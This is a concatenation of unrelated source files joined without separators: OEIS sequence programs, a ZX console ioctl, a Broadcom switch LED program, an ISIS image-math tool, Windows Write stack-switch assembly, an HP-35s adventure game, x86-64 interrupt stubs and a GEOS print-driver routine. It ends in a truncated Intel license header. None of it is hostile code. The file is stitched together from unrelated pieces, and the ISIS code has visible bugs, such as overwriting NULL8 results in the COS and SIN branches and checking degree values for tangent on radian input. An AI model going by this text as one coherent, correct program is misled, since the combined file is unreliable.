; A055718: Erroneous version of A056171. ; 0,1,1,1,2,1,2,2,2,1,2,2,3,2,2,2,3,3,4,4,4,3,4,4,4,3,3,3,4,4,5,5,5,4,4,4,5,4,4,4,5,5,6,6,6,5,6,6,6,6,6,6,7,7,7,7,7,6,7,7,8,7,7,7,7,7,8,8,8,8,9,9,10,9,9,9,9,9,10,10,10,9,10,10,10,9,9,9,10,10,10,10,10,9,9,9,10,10 mov $2,$0 pow $0,2 mov $1,$2 cal $1,56171 ; a(n) = pi(n) - pi(floor(n/2)), where pi is A000720. lpb $0 pow $0,2 sub $0,13 mov $1,1 lpe
MODULE generic_console_ioctl PUBLIC generic_console_ioctl SECTION code_clib INCLUDE "ioctl.def" EXTERN __zx_32col_font EXTERN __zx_64col_font EXTERN __zx_32col_udgs ; a = ioctl ; de = arg generic_console_ioctl: ex de,hl ld c,(hl) ;bc = where we point to inc hl ld b,(hl) cp IOCTL_GENCON_SET_FONT32 jr nz,check_set_font64 ld (__zx_32col_font),bc success: and a ret check_set_font64: cp IOCTL_GENCON_SET_FONT64 jr nz,check_set_udg ld (__zx_64col_font),bc jr success check_set_udg: cp IOCTL_GENCON_SET_UDGS jr nz,failure ld (__zx_32col_udgs),bc jr success failure: scf ret
; A130713: a(0)=a(2)=1, a(1)=2, a(n)=0 for n > 2. ; 1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mov $1,2 bin $1,$0 mov $0,$1
; ; ; ; This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. ; ; Copyright 2007-2019 Broadcom Inc. All rights reserved. ; ; ; This is the default program for the (20 GE port) BCM56800 SDKs. ; To start it, use the following commands from BCM: ; ; led load sdk56800c.hex ; led auto on ; led start ; ; The are 2 LEDs per Gig port one for Link(Left) and one for activity(Right). ; ; There are two bits per gigabit Ethernet LED with the following colors: ; ZERO, ZERO Black ; ZERO, ONE Amber ; ONE, ZERO Green ; ; Each chip drives only its own LEDs and needs to write them in the order: ; L01, A01, L02, A02, ..., L20, A20 ; ; Link up/down info cannot be derived from LINKEN or LINKUP, as the LED ; processor does not always have access to link status. This program ; assumes link status is kept current in bit 0 of RAM byte (0x80 + portnum). ; Generally, a program running on the main CPU must update these ; locations on link change; see linkscan callback in ; $SDK/src/appl/diag/ledproc.c. ; ; Current implementation: ; ; L01 reflects port 1 link status: ; Black: no link ; Amber: 10 Mb/s ; Green: 100 Mb/s ; Alternating green/amber: 1000 Mb/s ; Very brief flashes of black at 1 Hz: half duplex ; Longer periods of black: collisions in progress ; ; A01 reflects port 1 activity (even if port is down) ; Black: idle ; Green: RX (pulse extended to 1/3 sec) ; Amber: TX (pulse extended to 1/3 sec, takes precedence over RX) ; Green/Amber alternating at 6 Hz: both RX and TX ; ; Note: ; To provide consistent behavior, the gigabit LED patterns match ; those in sdk5605.asm. ; SECOND_TICKS EQU 30 MIN_PORT EQU 0 MAX_PORT EQU 19 NUM_PORT EQU 20 ; The TX/RX activity lights will be extended for ACT_EXT_TICKS ; so they will be more visible. ACT_EXT_TICKS EQU (SECOND_TICKS/3) GIG_ALT_TICKS EQU (SECOND_TICKS/2) HD_OFF_TICKS EQU (SECOND_TICKS/20) HD_ON_TICKS EQU (SECOND_TICKS-HD_ON_TICKS) TXRX_ALT_TICKS EQU (SECOND_TICKS/6) ; ; Main Update Routine ; ; This routine is called once per tick. ; update: sub a,a ; ld a,MIN_PORT (but only one instr) up1: port a ld (PORT_NUM),a call activity ; Left LED for this port call link_status ; Right LED for this port ld a,(PORT_NUM) inc a cmp a,NUM_PORT jnz up1 ; Update various timers ld b,GIG_ALT_COUNT inc (b) ld a,(b) cmp a,GIG_ALT_TICKS jc up2 ld (b),0 up2: ld b,HD_COUNT inc (b) ld a,(b) cmp a,HD_ON_TICKS+HD_OFF_TICKS jc up3 ld (b),0 up3: ld b,TXRX_ALT_COUNT inc (b) ld a,(b) cmp a,TXRX_ALT_TICKS jc up4 ld (b),0 up4: send 80 ; 2 * 2 * 20 ; ; activity ; ; This routine calculates the activity LED for the current port. ; It extends the activity lights using timers (new activity overrides ; and resets the timers). ; ; Inputs: (PORT_NUM) ; Outputs: Two bits sent to LED stream ; activity: pushst RX pop jnc act1 ld b,RX_TIMERS ; Start RX LED extension timer add b,(PORT_NUM) ld a,ACT_EXT_TICKS ld (b),a act1: pushst TX pop jnc act2 ld b,TX_TIMERS ; Start TX LED extension timer add b,(PORT_NUM) ld a,ACT_EXT_TICKS ld (b),a act2: ld b,TX_TIMERS ; Check TX LED extension timer add b,(PORT_NUM) dec (b) jnc act3 ; TX active? inc (b) ld b,RX_TIMERS ; Check RX LED extension timer add b,(PORT_NUM) dec (b) ; Extend LED green if only RX active jnc led_green inc (b) jmp led_black ; No activity act3: ; TX is active, see if RX also active ld b,RX_TIMERS add b,(PORT_NUM) dec (b) ; RX also active? jnc act4 inc (b) jmp led_amber ; Only TX active act4: ; Both TX and RX active ld b,(TXRX_ALT_COUNT) cmp b,TXRX_ALT_TICKS/2 jc led_amber ; Fast alternation of green/amber jmp led_green ; ; link_status ; ; This routine calculates the link status LED for the current port. ; ; Inputs: (PORT_NUM) ; Outputs: Two bits sent to LED stream ; Destroys: a, b ; link_status: pushst DUPLEX ; Skip blink code if full duplex pop jc ls1 pushst COLL ; Check for collision in half duplex pop jc led_black ld a,(HD_COUNT) ; Provide blink for half duplex cmp a,HD_OFF_TICKS jc led_black ls1: ld a,(PORT_NUM) ; Check for link down call get_link jnc led_black pushst SPEED_C ; Check for 100Mb speed pop jc led_green pushst SPEED_M ; Check for 10Mb (i.e. not 100 or 1000) pop jnc led_amber ld a,(GIG_ALT_COUNT) cmp a,GIG_ALT_TICKS/2 jc led_amber jmp led_green ; ; get_link ; ; This routine finds the link status LED for a port. ; Link info is in bit 0 of the byte read from PORTDATA[port] ; ; Inputs: Port number in a ; Outputs: Carry flag set if link is up, clear if link is down. ; Destroys: a, b ; get_link: ld b,PORTDATA add b,a ld b,(b) tst b,0 ret ; ; led_black, led_amber, led_green ; ; Inputs: None ; Outputs: Two bits to the LED stream indicating color ; Destroys: None ; led_black: pushst ZERO pack pushst ZERO pack ret led_amber: pushst ZERO pack pushst ONE pack ret led_green: pushst ONE pack pushst ZERO pack ret ; ; Variables (SDK software initializes LED memory from 0x80-0xff to 0) ; TXRX_ALT_COUNT equ 0xe0 HD_COUNT equ 0xe1 GIG_ALT_COUNT equ 0xe2 PORT_NUM equ 0xe3 ; ; Port data, which must be updated continually by main CPU's ; linkscan task. See $SDK/src/appl/diag/ledproc.c for examples. ; In this program, bit 0 is assumed to contain the link up/down status. ; PORTDATA equ 0x80 ; Size 24 + 4? bytes ; ; LED extension timers ; RX_TIMERS equ 0xa0+0 ; NUM_PORT bytes TX_TIMERS equ 0xa0+NUM_PORT ; NUM_PORT bytes ; ; Symbolic names for the bits of the port status fields ; RX equ 0x0 ; received packet TX equ 0x1 ; transmitted packet COLL equ 0x2 ; collision indicator SPEED_C equ 0x3 ; 100 Mbps SPEED_M equ 0x4 ; 1000 Mbps DUPLEX equ 0x5 ; half/full duplex FLOW equ 0x6 ; flow control capable LINKUP equ 0x7 ; link down/up status LINKEN equ 0x8 ; link disabled/enabled status ZERO equ 0xE ; always 0 ONE equ 0xF ; always 1
map_header DiglettsCave, DIGLETTS_CAVE, CAVERN, 0 end_map_header
#include <cmath> #include "Isis.h" #include "ProcessByLine.h" #include "SpecialPixel.h" #include "IException.h" using namespace std; using namespace Isis; void cubefunc(Buffer &in, Buffer &out); double bad = 0; double y; enum function { COS, SIN, TAN, ACOS, ASIN, ATAN, INV, SQRT, POW10, EXP, XTOY, LOG10, LN, ABS } Function; void IsisMain() { // We will be processing by line ProcessByLine p; // Setup the input and output cubes p.SetInputCube("FROM"); p.SetOutputCube("TO"); UserInterface &ui = Application::GetUserInterface(); // Which function is it to be? QString func = ui.GetString("FUNCTION"); if(func == "COS") Function = COS; if(func == "SIN") Function = SIN; if(func == "TAN") Function = TAN; if(func == "ACOS") Function = ACOS; if(func == "ASIN") Function = ASIN; if(func == "ATAN") Function = ATAN; if(func == "INV") Function = INV; if(func == "SQRT") Function = SQRT; if(func == "POW10") Function = POW10; if(func == "EXP") Function = EXP; if(func == "XTOY") Function = XTOY; if(func == "LOG10") Function = LOG10; if(func == "LN") Function = LN; if(func == "ABS") Function = ABS; if(Function == XTOY) { if(ui.WasEntered("Y")) { y = ui.GetDouble("Y"); } else { string message = "For the XTOY function, you must enter a value for y"; throw IException(IException::User, message, _FILEINFO_); } } // Start the processing p.StartProcess(cubefunc); if(bad != 0) { PvlGroup results("Results"); QString message = "Invalid input pixels converted to Isis NULL values"; results += PvlKeyword("Error", message); results += PvlKeyword("Count", toString(bad)); Application::Log(results); } p.EndProcess(); } // Line processing routine void cubefunc(Buffer &in, Buffer &out) { // Loop for each pixel in the line. for(int i = 0; i < in.size(); i++) { if(IsSpecial(in[i])) { out[i] = in[i]; } else { switch(Function) { case COS: if(in[i] < (-(2 * PI)) || in[i] > (2 * PI)) { out[i] = NULL8; bad++; } out[i] = cos(in[i]); break; case SIN: if(in[i] < (-(2 * PI)) || in[i] > (2 * PI)) { out[i] = NULL8; bad++; } out[i] = sin(in[i]); break; case TAN: // Check for invalid input values. Check within a certain // tolerance since the radiance value will probably never be // exactly 90, 270, -90 or -270 degrees due to round off. // First convert input value from radians to degrees. if(abs(abs(in[i]) - 90.0) <= .0001 || abs(abs(in[i]) - 270.0) <= .0001) { out[i] = NULL8; bad++; } else { out[i] = tan(in[i]); } break; case ACOS: if(in[i] < -1.0 || in[i] > 1.0) { out[i] = NULL8; bad++; } else { out[i] = acos(in[i]); } break; case ASIN: if(in[i] < -1.0 || in[i] > 1.0) { out[i] = NULL8; bad++; } else { out[i] = asin(in[i]); } break; case ATAN: out[i] = atan(in[i]); break; case INV: if(in[i] == 0) { out[i] = NULL8; bad++; } else { out[i] = 1 / in[i]; } break; case SQRT: if(in[i] <= 0) { out[i] = NULL8; bad++; } else { out[i] = sqrt(in[i]); } break; case POW10: out[i] = pow(10, in[i]); break; case EXP: out[i] = exp(in[i]); break; case XTOY: out[i] = pow(in[i], y); break; case LOG10: if(in[i] <= 0) { out[i] = NULL8; bad++; } else { out[i] = log10(in[i]); } break; case LN: if(in[i] <= 0) { out[i] = NULL8; bad++; } else { out[i] = log(in[i]); } break; case ABS: out[i] = abs(in[i]); break; } } } }
; A109763: Primes repeated. ; 2,2,3,3,5,5,7,7,11,11,13,13,17,17,19,19,23,23,29,29,31,31,37,37,41,41,43,43,47,47,53,53,59,59,61,61,67,67,71,71,73,73,79,79,83,83,89,89,97,97,101,101,103,103,107,107,109,109,113,113,127,127,131,131 div $0,2 cal $0,40 ; The prime numbers. mov $1,$0
// // Created by qfeng on 17-9-29. // #include "gbtree_model/tree_node.h" namespace quickscorer { TreeNode::TreeNode(uint32_t depth) { // initialize depth of node in the tree this->_depth = depth; // initialize bitvector and mask with 11...11 _mask = _bitvector = ~((BANDWITH_TYPE) 0); } }
title Special Export call locations for DS == SS conversion. ; Windows Write, Copyright 1985-1992 Microsoft Corporation ?DF = 1 ; Dont generate default segment definitions ?PLM = 1 .XLIST include cmacros.inc .LIST subttl Define Windows Groups page MGROUP group HEADER,EXPORTS,IMPORTS,IMPORTEND,ENDHEADER IGROUP group _TEXT,_INITTEXT,_ENDTEXT DGROUP group _DATA,DATA,CDATA,CONST,_BSS,c_common,_INITDATA,_ENDDATA,STACK HEADER segment para 'MODULE' HEADER ENDS EXPORTS segment byte 'MODULE' EXPORTS ENDS IMPORTS segment byte public 'MODULE' IMPORTS ENDS IMPORTEND segment byte 'MODULE' IMPORTEND ENDS ENDHEADER segment para 'MODULE' ENDHEADER ENDS _TEXT segment byte public 'CODE' _TEXT ENDS _INITTEXT segment para public 'CODE' _INITTEXT ends _ENDTEXT segment para 'CODE' _ENDTEXT ends _DATA segment para public 'DATA' STACKSIZE = 2048 $$STACK dw STACKSIZE dup (?) $$STACKTOP label word dw 0 _DATA ends DATA segment para public 'DATA' DATA ends CDATA segment word common 'DATA' ; C globals end up here CDATA ends CONST segment word public 'CONST' CONST ends _BSS segment para public 'BSS' _BSS ends c_common segment para common 'BSS' ; C globals end up here c_common ends _INITDATA segment para public 'BSS' _INITDATA ends _ENDDATA segment para 'BSS' _ENDDATA ends STACK segment para stack 'STACK' DB 0 ; Force link to write entire DGROUP STACK ends subttl ENTRYPOINT definition page ENTRYPOINT MACRO name, cwArgs extrn x&name:far public name name proc far mov ax,ds ; we have to include all this code nop ; or exe2mod chokes inc bp push bp mov bp,sp push ds mov ds,ax mov cx,cwArgs * 2 mov dx,offset igroup:x&name jmp SetLocStack name endp ENDM subttl external->local stack switcher page _TEXT segment byte public 'CODE' assume cs:igroup, ds:dgroup, es:dgroup, ss:nothing ; ; SetLocStack ; ; Purpose: To switch to a seperate stack located in the ; Modules Data Segment. ; ; Inputs: AX = module's DS ; SS, SP, BP = caller's stack stuff ; DS = "true" entry point addr ; cx = no. of bytes of parameters on caller's stack ; SetLocStack proc near mov bx,ss ; get copy of current segment cmp ax,bx ; see if we're already in local stack je inlocal ; we are - fall into existing code mov cs:SESPat,cx ; save arg byte count for return mov ss,ax mov sp,offset dgroup:$$STACKTOP push bx ; save old ss sub bp,2 ; point at the pushed ds push bp ; and old sp push si ; save si jcxz argdone mov ds,bx lea si,[bp + 8 - 2] ; point past ds, bp, far addr to args add si,cx ; point at top of args for backward move std shr cx,1 ; divide byte count by two jcxz argdone argloop: lodsw push ax loop argloop cld argdone: push cs mov ax,offset igroup:SetExtStack ; push setextstack return addr push ax mov ax,ss ; get new ds into ds and ax mov ds,ax push dx ; jump to true entry point via RET ret inlocal: add dx,10 ; point past prolog code push dx ; jump into middle of prolog code ret SetLocStack endp SetExtStack proc near pop si ; get back saved si pop bp ; get old sp pop bx ; and old ss mov ss,bx mov sp,bp ; now set them up pop ds ; standard epilog stuff pop bp dec bp db 0cah ;RETF n instruction SESPat dw 0 SetExtStack endp subttl Entry point definitions page ; ; mp module entry points ; ENTRYPOINT MMpNew, 3 ENTRYPOINT MMpLoad, 2 ENTRYPOINT MMpFree, 2 ; ; routines called by interface module ; ENTRYPOINT MRgchVal, 6 ENTRYPOINT Mdecode, 2 ENTRYPOINT MEnter, 1 ENTRYPOINT Fill, 1 ENTRYPOINT Clear, 0 ENTRYPOINT Format, 1 ENTRYPOINT MCellsContract, 0 ENTRYPOINT MInsertBents, 8 ENTRYPOINT MSheetCut, 0 ENTRYPOINT MSheetCopy, 0 ENTRYPOINT MSheetPaste, 1 ENTRYPOINT MExeCut, 0 ENTRYPOINT MExePaste, 0 ENTRYPOINT CheckRecalc, 0 ENTRYPOINT recalc, 1 ENTRYPOINT MLoadSheet, 2 ENTRYPOINT MSaveSheet, 3 ENTRYPOINT MSortDialog, 4 _TEXT ENDS end 
; Hack and Slash Adventure for the HP-35s ; This program is by Paul Dale and is used here by permission. ; https://www.hpmuseum.org/software/35hacksl.htm MODEL P35S SEGMENT HackAndSlash CODE LBL D ALL XEQ @702 SF 10 XEQ @639 STO M XEQ @639 STO N XEQ @639 STO O @011: XEQ @063 RCL H x>=y? GTO @110 XEQ @057 x<=y? GTO @081 RCL K XEQ @057 XEQ @069 RCL H y^x * XEQ @063 - x>=y? GTO @110 GTO @088 @029: RANDOM * INTG XEQ @071 + RTN @035: STO A CF 10 @037: eqn 'REGY*RAND' INTG + DSE A GTO @037 SF 10 x<>y Rv RTN @046: XEQ @633 XEQ @035 + RTN @050: XEQ @069 XEQ @029 XEQ @071 - RTN @055: XEQ @063 GTO @029 @057: 10 RTN @059: 3 RTN @061: 100 RTN @063: 20 RTN @065: 8 RTN @067: 4 RTN @069: 2 RTN @071: 1 RTN @073: 0.5 RTN @075: XEQ @069 + RTN @078: XEQ @069 - RTN @081: RCL K -9 RCL+ H 10220 * x>=y? GTO @110 @088: XEQ @067 XEQ @029 XEQ @065 + RCL O XEQ @059 / + IP x<=0? XEQ @071 STO+ I STO+ J XEQ @071 STO+ H STO+ L XEQ @050 STO+ M XEQ @050 STO+ N XEQ @050 STO+ O @110: RCL H XEQ @623 RCL K XEQ @608 RCL J XEQ @613 RCL L XEQ @628 FS? 4 GTO @693 XEQ @065 XEQ @067 * XEQ @059 XEQ @071 RCL+ H * x>y? x<>y XEQ @029 STO E XEQ @067 x^2 x<y? GTO @199 x=y? GTO @369 XEQ @065 - x<y? GTO @171 x=y? GTO @357 XEQ @067 - x<y? GTO @160 x=y? GTO @267 XEQ @078 x<y? GTO @279 x>y? GTO @261 eqn 'KOBOLD' PSE [1,4,1] [1,6,-1] [1,0,13] GTO @399 @160: XEQ @075 x<y? GTO @285 x>y? GTO @273 eqn 'ORC' PSE [1,12,4] [1,8,3] [1,3,17] GTO @399 @171: XEQ @067 + x>y? GTO @188 x=y? GTO @315 XEQ @075 x<y? GTO @339 x>y? GTO @327 eqn 'GNOLL' PSE [4,10,4] [1,10,1] [1,6,17] GTO @399 @188: XEQ @078 x<y? GTO @297 x>y? GTO @291 eqn 'GIANT LEECH' PSE [2,8,4] [1,8,4] [1,6,11] GTO @399 @199: XEQ @065 + x<y? GTO @233 x=y? GTO @321 XEQ @067 - x<y? GTO @222 x=y? GTO @375 XEQ @078 x<y? GTO @363 x>y? GTO @351 eqn 'BUGBEAR' PSE [6,8,15] [1,6,4] [4,9,20] GTO @399 @222: XEQ @075 x<y? GTO @309 x>y? GTO @303 eqn 'GIANT' PSE [6,12,30] [2,10,12] [1,12,23] GTO @399 @233: XEQ @067 + x>y? GTO @250 x=y? GTO @381 XEQ @075 x<y? GTO @393 x>y? GTO @345 eqn 'TITAN' PSE [16,10,50] [2,16,20] [1,22,25] GTO @399 @250: XEQ @078 x<y? GTO @333 x>y? GTO @387 eqn 'ENT' PSE [9,10,40] [2,6,10] [2,15,25] GTO @399 @261: eqn 'GIANT BAT' PSE [1,2,0] [1,4,0] [1,0,12] GTO @399 @267: eqn 'GOBLIN' PSE [1,8,0] [1,8,0] [1,2,15] GTO @399 @273: eqn 'SKELETON' PSE [1,8,2] [1,8,0] [2,1,18] GTO @399 @279: eqn 'GIANT RAT' PSE [1,6,0] [1,6,0] [1,1,13] GTO @399 @285: eqn 'DWARF' PSE [2,8,0] [1,10,1] [1,2,20] GTO @399 @291: eqn 'GIANT SPIDER' PSE [2,8,4] [1,10,8] [1,4,17] GTO @399 @297: eqn 'ZOMBIE' PSE [3,8,0] [1,6,2] [2,5,8] GTO @399 @303: eqn 'GHOST' PSE [10,8,50] [2,4,-1] [2,16,30] GTO @399 @309: eqn 'DAEMON' PSE [8,8,20] [1,8,2] [2,11,26] GTO @399 @315: eqn 'GNOME' PSE [3,10,0] [1,8,1] [1,7,18] GTO @399 @321: eqn 'BASILISK' PSE [6,8,4] [2,10,10] [1,13,24] GTO @399 @327: eqn 'SLIME' PSE [5,10,20] [1,4,0] [4,8,12] GTO @399 @333: eqn 'DEVIL' PSE [10,8,30] [1,10,5] [2,14,24] GTO @399 @339: eqn 'BARBARIAN' PSE [4,12,16] [1,10,2] [1,7,13] GTO @399 @345: eqn 'VAMPIRE' PSE [8,10,10] [2,12,8] [1,15,24] GTO @399 @351: eqn 'OOZE' PSE [12,10,30] [1,6,0] [5,9,14] GTO @399 @357: eqn 'MOLD MONSTER' PSE [2,8,0] [1,2,0] [3,3,10] GTO @399 @363: eqn 'OGRE' PSE [5,12,10] [2,8,8] [1,10,21] GTO @399 @369: eqn 'GIANT SNAKE' PSE [4,8,8] [2,8,4] [1,5,15] GTO @399 @375: eqn 'TROLL' PSE [6,10,40] [1,6,6] [2,9,22] GTO @399 @381: eqn 'ELEMENTAL' PSE [10,12,30] [1,12,10] [2,16,17] GTO @399 @387: eqn 'WYVERN' PSE [7,12,16] [1,8,8] [2,14,28] GTO @399 @393: eqn 'DRAGON' PSE [24,20,100] [1,20,30] [2,30,29] SF 4 @399: STO B Rv STO C Rv XEQ @046 STO D STO P RCL E XEQ @059 / +/- INTG ABS STO E RCL B XEQ @633 STO B Rv STO F Rv STO G GTO @428 @421: CF 4 @422: eqn 'GOT AWAY' PSE GTO @593 @425: RCL J x<=0? GTO @690 @428: eqn '0=ATK 1=FLEE' PSE CLSTK STOP x=0? GTO @449 FS? 4 GTO @421 XEQ @057 RCL* E XEQ @069 RCL* N - RCL+ H XEQ @061 / RANDOM x>=y? GTO @422 eqn 'CAUGHT YOU!' PSE @449: RCL L x=0? GTO @458 eqn '0=SWD 1=SPELL' PSE CLSTK STOP x!=0? GTO @524 @458: XEQ @055 RCL H XEQ @069 / + RCL M XEQ @067 / + IP FS? 1 XEQ @506 RCL G x>y? GTO @489 eqn 'HIT' PSE XEQ @065 XEQ @029 RCL M XEQ @067 / + 2.5 - IP FS? 1 XEQ @509 x<=0? XEQ @071 GTO @533 @489: eqn 'MISSED' PSE GTO @535 @492: XEQ @069 / XEQ @073 + IP x<=0? GTO @071 RTN @500: 0.9 * RTN @503: XEQ @067 - RTN @506: XEQ @067 + RTN @509: XEQ @057 XEQ @029 + XEQ @065 + FS? 4 GTO @517 RTN @517: XEQ @063 XEQ @069 XEQ @029 + XEQ @057 + RTN @524: XEQ @071 STO- L eqn 'ZOT!' PSE XEQ @067 XEQ @069 + RCL H XEQ @035 @533: STO- D XEQ @613 @535: RCL D x<=0? GTO @568 RCL B FS? 3 XEQ @492 STO Q @542: XEQ @055 RCL+ F RCL N XEQ @067 / - XEQ @057 - FS? 2 XEQ @503 x<0? GTO @565 RCL C XEQ @046 FS? 0 XEQ @500 INTG x<=0? XEQ @071 STO- J eqn 'OUCH!' PSE XEQ @613 @565: DSE Q GTO @542 GTO @425 @568: eqn 'KILLED!' PSE XEQ @067 XEQ @069 RCL E y^x RCL* P RCL* B STO+ K XEQ @608 XEQ @059 RCL E y^x XEQ @029 STO+ R XEQ @057 / IP STO+ K XEQ @618 RANDOM 0.1 RCL* E x>y? XEQ @645 @593: XEQ @057 1/x RANDOM x>=y? GTO @011 eqn 'HEAL' PSE RCL I STO J RANDOM 0.3 + IP STO+ L GTO @011 @608: x<> E VIEW E PSE x<> E RTN @613: x<> H VIEW H PSE x<> H RTN @618: x<> G VIEW G PSE x<> G RTN @623: x<> L VIEW L PSE x<> L RTN @628: x<> S VIEW S PSE x<> S RTN @633: CF 10 eqn '[0,0,1]*REGX' eqn '[0,1,0]*REGY' eqn '[1,0,0]*REGZ' SF 10 RTN @639: XEQ @063 RANDOM sqrt * IP RTN @645: XEQ @069 XEQ @067 XEQ @029 XEQ @071 - x=0? GTO @666 x<y? GTO @673 x=y? GTO @680 FS? 3 RTN SF 3 eqn 'MAGIC HELMET' PSE XEQ @071 @662: 1e3 * STO+ R RTN @666: FS? 0 RTN SF 0 eqn 'MAGIC SHIELD' PSE XEQ @069 GTO @662 @673: FS? 1 RTN SF 1 eqn 'MAGIC SWORD' PSE XEQ @057 GTO @662 @680: FS? 2 RTN SF 2 eqn 'MAGIC ARMOUR' PSE XEQ @067 GTO @662 @687: eqn 'MARRY PRINCESS' PSE RTN @690: eqn 'YOU DIED!' PSE GTO @702 @693: eqn 'BEAT DRAGON' PSE XEQ @061 x^2 RCL R x>=y? XEQ @687 eqn 'YOU WIN!' PSE @702: CLVARS CLSTK CF 0 CF 1 CF 2 CF 3 CF 4 CF 10 RTN ENDS HackAndSlash END
lda {m1} sta $fe lda {m1}+1 sta $ff sec lda ($fe),y sbc {m2} sta ($fe),y iny lda ($fe),y sbc {m2}+1 sta ($fe),y iny lda ($fe),y sbc {m2}+2 sta ($fe),y iny lda ($fe),y sbc {m2}+3 sta ($fe),y
[BITS 64] global unused_interrupt_handler:function global modern_interrupt_handler:function global cpu_sampling_irq_entry:function global blocking_cycle_irq_entry:function global parasite_interrupt_handler:function extern current_eoi_mechanism extern current_intr_handler extern cpu_sampling_irq_handler extern blocking_cycle_irq_handler extern profiler_stack_sampler SECTION .bss ALIGN 16 __xsave_storage_area: resb 512 %macro PUSHAQ 0 push rax push rcx push rdx push rdi push rsi push r8 push r9 push r10 push r11 ; Preserve extended state ;fxsave [__xsave_storage_area] %endmacro %macro POPAQ 0 ; Restore extended state ;fxrstor [__xsave_storage_area] pop r11 pop r10 pop r9 pop r8 pop rsi pop rdi pop rdx pop rcx pop rax %endmacro SECTION .text unused_interrupt_handler: cli PUSHAQ call QWORD [current_eoi_mechanism] POPAQ sti iretq modern_interrupt_handler: cli PUSHAQ call QWORD [current_intr_handler] POPAQ sti iretq cpu_sampling_irq_entry: cli PUSHAQ call cpu_sampling_irq_handler call QWORD [current_eoi_mechanism] POPAQ sti iretq blocking_cycle_irq_entry: cli PUSHAQ call blocking_cycle_irq_handler call QWORD [current_eoi_mechanism] POPAQ sti iretq parasite_interrupt_handler: cli PUSHAQ mov rdi, QWORD [rsp + 8*9] call profiler_stack_sampler call QWORD [current_intr_handler] POPAQ sti iretq
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: print drivers FILE: uiEval.asm AUTHOR: Dave Durran ROUTINES: Name Description ---- ----------- PrintEvalUI gets ui info from the gewneric tree. PrintStuffUI returns the info from the JobParameters to the generic tree. REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 5/92 Initial revision Dave 3/93 Added stuff routines DESCRIPTION: $Id: uiEval.asm,v 1.1 97/04/18 11:50:31 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrintEvalUI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: looks in the device info for the appropriate routine to call to evaluate the data passed in the object tree. CALLED BY: EXTERNAL PASS: ax = Handle of JobParameters block cx = Handle of the duplicated generic tree displayed in the main print dialog box. dx = Handle of the duplicated generic tree displayed in the options dialog box es:si = JobParameters structure bp = PState segment RETURN: nothing DESTROYED: ax, bx, cx, si, di, es, ds PSEUDO CODE/STRATEGY: Make sure the JobParameters handle gets through! KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 01/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrintEvalUI proc far mov bx,PRINT_UI_EVAL_ROUTINE call PrintCallEvalRoutine ret PrintEvalUI endp PrintCallEvalRoutine proc near uses bp .enter push es,bx mov es,bp ;get hold of PState address. mov bx,es:[PS_deviceInfo] ; handle to info for this printer. push ax call MemLock mov ds, ax ; ds points at device info segment. pop ax mov di, ds:[PI_evalRoutine] call MemUnlock ; unlock the puppy pop es,bx tst di jz exit ; if no routine, just exit. call di ;call the approp. eval routine. exit: clc .leave ret PrintCallEvalRoutine endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrintStuffUI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: stuffs the info stored in JobParameters back into the generic tree. CALLED BY: EXTERNAL PASS: bp = PState segment cx = Handle of the duplicated generic tree displayed in the main print dialog box. dx = Handle of the duplicated generic tree displayed in the options dialog box es:si = JobParameters structure ax = Handle of JobParameters block RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 03/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrintStuffUI proc far mov bx,PRINT_UI_STUFF_ROUTINE call PrintCallEvalRoutine ret PrintStuffUI endp
/* * All Video Processing kernels * Copyright © <2010>, Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sub license, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice (including the * next paragraph) shall be included in all copies or substantial portions * of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. * IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * This file was originally licensed under the following license * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * 